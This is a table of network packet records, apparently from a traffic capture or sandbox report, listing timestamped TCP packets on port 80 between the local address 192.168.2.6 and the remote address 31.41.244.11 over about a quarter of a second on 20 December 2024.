Dec 20, 2024 21:13:38.107007027 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.107692957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.107736111 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.107816935 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.108546972 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.108954906 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.108994961 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.109134912 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.109174967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.110152960 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.110311985 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.110357046 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.111316919 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.111637115 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.111687899 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.112449884 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.112494946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.113101959 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.113661051 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.113723993 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.114022017 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.114855051 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.114907026 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.115067959 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.115262985 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.116076946 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.116122007 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.116198063 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.116234064 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.117273092 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.117316008 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.117383957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.117429972 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.118433952 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.118474960 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.118640900 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.118686914 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.119630098 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.120527983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.120548964 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.120575905 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.121028900 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.121040106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.121088028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.122051001 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.122338057 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.122386932 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.123229027 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.123275042 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.123310089 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.124396086 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.124447107 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.124978065 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.125643015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.125704050 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.125930071 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.125968933 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.126833916 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.127177954 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.127228022 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.128202915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.128266096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.128320932 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.129306078 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.129506111 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.129565001 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.130348921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.130399942 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.130645037 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.131560087 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.131613970 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.131635904 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.132559061 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.132803917 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.133044958 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.133109093 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.133975029 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.134227037 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.134284019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.135169983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.135561943 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.135613918 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.136312008 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.136359930 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.136624098 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.137525082 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.137583971 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.137630939 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.138782024 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.138830900 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.139324903 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.139369965 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.139889002 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.140558004 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.141139030 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.141180038 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.141263962 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.141278028 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.141305923 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.141319990 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.142369032 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.142585993 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.142632008 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.143516064 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.143728018 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.143775940 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.144665003 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.144905090 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.144972086 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.145864010 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.145921946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.146029949 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.147249937 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.147305965 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.147373915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.148556948 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.148597002 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.148682117 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.148731947 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.149595976 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.149713993 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.149784088 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.150640011 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.150712013 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.150825024 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.151895046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.151952028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.152034044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.152554989 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.153017044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.153420925 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.153475046 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.154201031 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.154433966 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.154481888 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.155400991 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.155453920 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.156083107 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.156543970 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.156636953 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.156677008 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.157011032 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.157058001 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.157834053 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.157875061 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.157970905 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.158010006 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.159050941 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.159100056 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.159183979 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.159223080 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.160170078 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.160228014 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.160254955 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.160305023 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.161397934 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.161442995 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.161523104 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.161566973 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.162552118 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.162856102 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.162915945 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.163860083 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.164052010 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.164105892 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.165332079 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.168564081 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.294513941 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.294644117 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.294703007 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.295083046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.295095921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.295145035 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.296292067 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.296487093 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.296520948 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.296520948 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.297418118 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.297593117 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.297647953 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.298640966 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.298748970 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.298798084 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.299803972 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.299845934 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.300020933 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.300548077 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.301011086 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.301052094 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.301546097 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.302223921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.302272081 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.303407907 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.303421021 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.303464890 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.303528070 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.303569078 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.304570913 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.304807901 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.304860115 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.305780888 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.306061983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.306113958 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.307060957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.307101965 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.307276964 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.308286905 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.308343887 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.308393002 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.308546066 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.309365034 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.309417963 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.309693098 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.309732914 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.310539007 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.310585022 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.310893059 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.310931921 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.311749935 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.311790943 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.311821938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.311861038 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.312982082 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.313024998 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.313306093 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.313347101 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.314326048 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.314366102 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.314526081 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.315341949 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.315392017 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.315685034 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.316478014 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.316509008 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.316632032 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.316684961 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.317729950 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.318495989 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.318543911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.318906069 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.319190979 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.319233894 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.320086002 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.320127010 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.320749998 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.320971966 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.321321011 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.321374893 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.321403027 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.322469950 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.322516918 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.322719097 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.323673964 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.323721886 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.324290991 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.324331045 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.324857950 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.324999094 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.325046062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.326111078 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.326236963 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.326297045 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.327291012 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.328458071 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.328470945 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.328509092 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.328525066 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.328583002 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.329660892 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.329705954 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.329924107 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.330847979 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.330893040 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.331024885 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.332026005 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.332073927 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.332272053 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.332312107 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.333246946 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.333259106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.333302975 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.334422112 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.335242033 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.335287094 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.335613966 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.335653067 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.336412907 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.336548090 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.336829901 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.336841106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.336870909 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.336884975 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.338005066 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.338291883 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.338340044 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.339217901 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.339308977 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.339358091 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.340368986 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.340414047 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.340555906 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.341623068 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.341698885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.342005014 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.342051983 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.342789888 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.342839003 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.342966080 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.343049049 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.343967915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.344024897 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.344600916 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.344681025 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.345161915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.345513105 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.345537901 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.346395016 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.346445084 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.347127914 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.347182035 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.347537041 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.347850084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.347896099 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.348714113 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.349265099 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.349311113 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.349935055 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.349997044 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.350168943 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.351217031 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.351260900 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.351480961 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.352344036 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.352390051 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.353041887 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.353274107 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.353668928 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.353679895 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.353727102 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.354810953 CET	80	49920	31.41.244.11	192.168.2.6
